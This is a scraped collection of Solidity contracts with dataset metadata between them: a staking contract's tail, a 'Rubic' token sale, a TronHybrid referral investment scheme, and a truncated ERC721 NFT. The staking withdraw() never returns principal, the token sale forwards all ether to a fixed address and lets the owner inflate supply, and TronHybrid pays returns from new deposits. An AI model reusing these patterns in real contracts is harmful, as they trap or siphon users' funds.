function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Token");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart stakingTime{
require(amount > 0, "ERROR: Cannot withdraw 0 Token");
getReward();
}
function exit() external stakingTime{
getReward();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals not allowed yet");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 252,722 | 13,455 |
e953652350e1e2a96c9911d8f9cbcd7174cbd757788aa7ea4f23f760dc19551b
| 11,025 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x6dFda43989bc7cB850F5c5Bce89f04fa0F7e1192/contract.sol
| 2,669 | 10,119 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Rubic is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Rubic";
string public constant symbol = "RBC";
uint public constant decimals = 8;
uint public deadline = now + 300 * 1 days;
uint public round2 = now + 100 * 1 days;
uint public round1 = now + 200 * 1 days;
uint256 public totalSupply = 124000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.5 Ether
uint256 public tokensPerEth = 4607e18;
uint public target0drop = 2500;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x3A8B755E9ACD9f4fAae278CC3de753CbD8CE7CE4;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 124000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 2;
uint256 bonusCond2 = 5 ether / 2;
uint256 bonusCond3 = 1 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 2;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 20 / 2;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 35 / 2;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 2;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 3 / 2;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 0;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 251,552 | 13,456 |
8d3b716f7fb7d836ce92ee7e6a644a9c8c017b59f2463c22581790308f7b6e40
| 15,043 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYnwCLzcy2tLfSeaEWdimszi7fTEV1mcAT_TronHybrid.sol
| 4,506 | 14,534 |
//SourceUnit: TronHybrid.sol
pragma solidity 0.5.8;
contract TronHybrid {
using SafeMath for uint256;
struct PlayerDeposit {
uint256 amount;
uint256 withdrawn;
uint256 timestamp;
}
struct Player {
address referral;
uint256 first_deposit;
uint256 last_withdraw;
uint256 referral_bonus;
uint256 fee_bonus;
uint256 dividends;
uint256 total_invested;
uint256 total_withdrawn;
uint256 total_referral_bonus;
PlayerDeposit[] deposits;
mapping(uint8 => uint256) referrals_per_level;
mapping(uint8 => uint256) payouts_per_level;
}
uint256 total_invested;
uint256 total_investors;
uint256 total_withdrawn;
uint256 total_referral_bonus;
uint256 telegram_rain_wallet;
struct TopCount {
uint count;
address addr;
}
mapping(uint8 => mapping(uint8 => TopCount)) public tops;
event Deposit(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
address payable owner;
address payable marketing;
mapping(address => Player) public players;
uint8[] public referral_bonuses;
constructor(address payable _owner, address payable _marketing) public {
owner = _owner;
referral_bonuses.push(50);
referral_bonuses.push(25);
referral_bonuses.push(10);
referral_bonuses.push(5);
referral_bonuses.push(5);
referral_bonuses.push(5);
marketing = _marketing;
}
function deposit(address _referral) external payable {
require(msg.value >= 1e7, "Zero amount");
require(msg.value >= 50000000, "Minimal deposit: 50 TRX");
Player storage pl = players[msg.sender];
require(pl.deposits.length < 250, "Max 250 deposits per address");
_setReferral(msg.sender, _referral);
pl.deposits.push(PlayerDeposit({
amount: msg.value,
withdrawn: 0,
timestamp: uint256(block.timestamp)
}));
if(pl.first_deposit == 0){
pl.first_deposit = block.timestamp;
}
if(pl.total_invested == 0x0){
total_investors += 1;
}
elaborateTopX(1, msg.sender, (pl.total_invested + msg.value));
pl.total_invested += msg.value;
total_invested += msg.value;
_referralPayout(msg.sender, msg.value);
_rewardTopListAndTelegram(msg.value);
owner.transfer(msg.value.mul(5).div(100));
marketing.transfer(msg.value.mul(5).div(100));
emit Deposit(msg.sender, msg.value);
}
function _rewardTopListAndTelegram(uint256 _value) private {
for(uint8 k = 0; k < 2; k++) {
for(uint8 i = 0; i < 3; i++){
address adr = tops[k][i].addr;
if(adr != address(0) && players[adr].total_invested > 0){
players[adr].fee_bonus += _value.mul((i == 0 ? 5 : (i == 1 ? 2 : 1))).div(1000);
}
}
}
telegram_rain_wallet += _value.mul(4).div(1000);
if(telegram_rain_wallet > 25000000){
marketing.transfer(telegram_rain_wallet);
}
}
function _setReferral(address _addr, address _referral) private {
if(players[_addr].referral == address(0)) {
if(_referral == address(0)){ _referral = owner; }
players[_addr].referral = _referral;
for(uint8 i = 0; i < referral_bonuses.length; i++) {
players[_referral].referrals_per_level[i]++;
if(i == 0){ elaborateTopX(0, _referral, players[_referral].referrals_per_level[i]); }
_referral = players[_referral].referral;
if(_referral == address(0)) break;
}
}
}
function _referralPayout(address _addr, uint256 _amount) private {
address ref = players[_addr].referral;
for(uint8 i = 0; i < referral_bonuses.length; i++) {
if(ref == address(0)) break;
uint256 bonus;
if(i == 0){
bonus = _amount * ((referral_bonuses[i] * 10) + _referralBonus(_addr) + _whaleBonus(_addr))/ 10000;
} else {
bonus = _amount * referral_bonuses[i] / 1000;
}
players[ref].referral_bonus += bonus;
players[ref].total_referral_bonus += bonus;
players[ref].payouts_per_level[i] += bonus;
total_referral_bonus += bonus;
ref = players[ref].referral;
}
}
function withdraw() payable external {
Player storage player = players[msg.sender];
_payout(msg.sender);
require(player.dividends > 0 || player.referral_bonus > 0, "Zero amount");
uint256 amount = player.dividends + player.referral_bonus + player.fee_bonus;
player.dividends = 0;
player.referral_bonus = 0;
player.fee_bonus = 0;
player.total_withdrawn += amount;
total_withdrawn += amount;
msg.sender.transfer(amount);
emit Withdraw(msg.sender, amount);
}
function _payout(address _addr) private {
uint256 payout = this.payoutOf(_addr);
if(payout > 0) {
_updateTotalPayout(_addr);
players[_addr].last_withdraw = uint256(block.timestamp);
players[_addr].dividends += payout;
}
}
function _updateTotalPayout(address _addr) private{
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
uint256 from = player.last_withdraw > dep.timestamp ? player.last_withdraw : dep.timestamp;
uint256 to = uint256(block.timestamp);
if(from < to) {
uint256 _val = dep.amount * (to - from) * _getPlayerRate(_addr) / 864000000;
if(_val > ((dep.amount * 2) - dep.withdrawn)){
_val = ((dep.amount * 2) - dep.withdrawn);
}
player.deposits[i].withdrawn += _val;
}
}
}
function payoutOf(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
uint256 from = player.last_withdraw > dep.timestamp ? player.last_withdraw : dep.timestamp;
uint256 to = uint256(block.timestamp);
if(from < to) {
uint256 _val = dep.amount * (to - from) * _getPlayerRate(_addr) / 864000000;
if(_val > ((dep.amount * 2) - dep.withdrawn)){
_val = ((dep.amount * 2) - dep.withdrawn);
}
value += _val;
}
}
return value;
}
function setTelegramRainAddress(address payable _telegram_rain) external payable {
require(msg.sender == owner, "Not allowed");
marketing = _telegram_rain;
}
function contractStats() view external returns(uint256 _total_invested, uint256 _total_investors, uint256 _total_withdrawn, uint256 _total_referral, uint16 _contract_bonus) {
return(total_invested, total_investors, total_withdrawn, total_referral_bonus, _contractBonus());
}
function playerStats(address _adr) view external returns(uint16 _referral_bonus, uint16 _whale_bonus, uint16 _strong_hand_bonus, uint16 _top_ref_bonus, uint16 _top_whale_bonus, uint16 _roi){
return(_referralBonus(_adr), _whaleBonus(_adr), _strongHandBonus(_adr), _topReferralBonus(_adr), _topWhaleBonus(_adr), _getPlayerRate(_adr));
}
function playerInfo(address _adr) view external returns(uint256 _total_invested, uint256 _total_withdrawn, uint256 _last_withdrawn, uint256 _referral_bonus, uint256 _fee_bonus, uint256 _available){
Player memory pl = players[_adr];
return(pl.total_invested, pl.total_withdrawn, pl.last_withdraw, pl.referral_bonus, pl.fee_bonus, (pl.dividends + pl.referral_bonus + pl.fee_bonus + this.payoutOf(_adr)));
}
function playerReferrals(address _adr) view external returns(uint256[] memory ref_count, uint256[] memory ref_earnings){
uint256[] memory _ref_count = new uint256[](6);
uint256[] memory _ref_earnings = new uint256[](6);
Player storage pl = players[_adr];
for(uint8 i = 0; i < 6; i++){
_ref_count[i] = pl.referrals_per_level[i];
_ref_earnings[i] = pl.payouts_per_level[i];
}
return (_ref_count, _ref_earnings);
}
function top10() view external returns(address[] memory top_ref, uint256[] memory top_ref_count, address[] memory top_whale, uint256[] memory top_whale_count){
address[] memory _top_ref = new address[](10);
uint256[] memory _top_ref_count = new uint256[](10);
address[] memory _top_whale = new address[](10);
uint256[] memory _top_whale_count = new uint256[](10);
for(uint8 i = 0; i < 10; i++){
_top_ref[i] = tops[0][i].addr;
_top_ref_count[i] = tops[0][i].count;
_top_whale[i] = tops[1][i].addr;
_top_whale_count[i] = tops[1][i].count;
}
return (_top_ref, _top_ref_count, _top_whale, _top_whale_count);
}
function investmentsInfo(address _addr) view external returns(uint256[] memory starts, uint256[] memory amounts, uint256[] memory withdrawns) {
Player storage player = players[_addr];
uint256[] memory _starts = new uint256[](player.deposits.length);
uint256[] memory _amounts = new uint256[](player.deposits.length);
uint256[] memory _withdrawns = new uint256[](player.deposits.length);
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
_amounts[i] = dep.amount;
_withdrawns[i] = dep.withdrawn;
_starts[i] = dep.timestamp;
}
return (_starts,
_amounts,
_withdrawns);
}
function _referralBonus(address _adr) view private returns(uint16){
Player storage pl = players[_adr];
uint256 c = pl.referrals_per_level[0];
uint16 _bonus = 0;
if(c >= 500){ _bonus = 250; }
else if(c >= 250){ _bonus = 200; }
else if(c >= 100){ _bonus = 150; }
else if(c >= 50){ _bonus = 100; }
else if(c >= 15){ _bonus = 50; }
else if(c >= 5){ _bonus = 10; }
return _bonus;
}
function _whaleBonus(address _adr) view private returns(uint16){
Player storage pl = players[_adr];
uint256 cur_investment = pl.total_invested;
uint16 _bonus = 0;
if(cur_investment >= 1000000000000){ _bonus = 250; }
else if(cur_investment >= 250000000000){ _bonus = 200; }
else if(cur_investment >= 100000000000){ _bonus = 150; }
else if(cur_investment >= 25000000000){ _bonus = 100; }
else if(cur_investment >= 10000000000){ _bonus = 50; }
else if(cur_investment >= 2500000000){ _bonus = 10; }
return _bonus;
}
function _strongHandBonus(address _adr) view private returns(uint16){
Player storage pl = players[_adr];
uint256 lw = pl.first_deposit;
if(pl.last_withdraw < lw){ lw = pl.last_withdraw; }
if(lw == 0){ lw = block.timestamp; }
uint16 sh = uint16(((block.timestamp - lw)/86400)*10);
if(sh > 3000){ sh = 3000; }
return sh;
}
function _contractBonus() view private returns(uint16){
return uint16(address(this).balance/1000000/50000);
}
function _topReferralBonus(address _adr) view private returns(uint16){
uint16 bonus = 0;
for(uint8 i = 0; i < 10; i++){
if(tops[0][i].addr == _adr){
if(i == 0){ bonus = 200; }
else if(i == 1){ bonus = 150; }
else if(i == 2){ bonus = 100; }
else { bonus = 50; }
}
}
return bonus;
}
function _topWhaleBonus(address _adr) view private returns(uint16){
uint16 bonus = 0;
for(uint8 i = 0; i < 10; i++){
if(tops[1][i].addr == _adr){
if(i == 0){ bonus = 200; }
else if(i == 1){ bonus = 150; }
else if(i == 2){ bonus = 100; }
else { bonus = 50; }
}
}
return bonus;
}
function _getPlayerRate(address _adr) view private returns(uint16){
return (150 + _contractBonus() + _strongHandBonus(_adr) + _whaleBonus(_adr) + _referralBonus(_adr) + _topReferralBonus(_adr) + _topWhaleBonus(_adr));
}
function elaborateTopX(uint8 kind, address addr, uint currentValue) private {
if(currentValue > tops[kind][11].count){
bool shift = false;
for(uint8 x; x < 12; x++){
if(tops[kind][x].addr == addr){ shift = true; }
if(shift == true && x < 11){
tops[kind][x].count = tops[kind][x + 1].count;
tops[kind][x].addr = tops[kind][x + 1].addr;
} else if(shift == true && x == 1){
tops[kind][x].count = 0;
tops[kind][x].addr = address(0);
}
}
uint8 i = 0;
for(i; i < 12; i++) {
if(tops[kind][i].count < currentValue) {
break;
}
}
uint8 o = 1;
for(uint8 j = 11; j > i; j--) {
//if(tops[kind][j - o].addr == addr){ o += 1; }
tops[kind][j].count = tops[kind][j - o].count;
tops[kind][j].addr = tops[kind][j - o].addr;
}
tops[kind][i].count = currentValue;
tops[kind][i].addr = addr;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 302,014 | 13,457 |
61729ff51e01e8262b71712ef8ea5f1145e58a811f61c64a3f65dde2d45eaaa0
| 37,026 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/ad/aDBBdc29C9f8350cce9b194FfaD7eE19cDe80A7D_NFT.sol
| 4,574 | 18,686 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
}
interface IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes calldata data) external returns (bytes4);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC2981 is IERC165 {
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
abstract contract ERC2981 is IERC2981, ERC165 {
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
RoyaltyInfo private _defaultRoyaltyInfo;
mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo;
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) {
return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId);
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
virtual
override
returns (address, uint256)
{
RoyaltyInfo memory royalty = _tokenRoyaltyInfo[_tokenId];
if (royalty.receiver == address(0)) {
royalty = _defaultRoyaltyInfo;
}
uint256 royaltyAmount = (_salePrice * royalty.royaltyFraction) / _feeDenominator();
return (royalty.receiver, royaltyAmount);
}
function _feeDenominator() internal pure virtual returns (uint96) {
return 10000;
}
function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {
require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice");
require(receiver != address(0), "ERC2981: invalid receiver");
_defaultRoyaltyInfo = RoyaltyInfo(receiver, feeNumerator);
}
function _deleteDefaultRoyalty() internal virtual {
delete _defaultRoyaltyInfo;
}
function _setTokenRoyalty(uint256 tokenId,
address receiver,
uint96 feeNumerator) internal virtual {
require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice");
require(receiver != address(0), "ERC2981: Invalid parameters");
_tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator);
}
function _resetTokenRoyalty(uint256 tokenId) internal virtual {
delete _tokenRoyaltyInfo[tokenId];
}
}
contract NFT is Ownable, ERC165, IERC721, IERC721Metadata, ERC2981 {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
uint256 private _circulatingSupply;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165, ERC2981) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function totalSupply() public view returns (uint256) {
return _circulatingSupply;
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
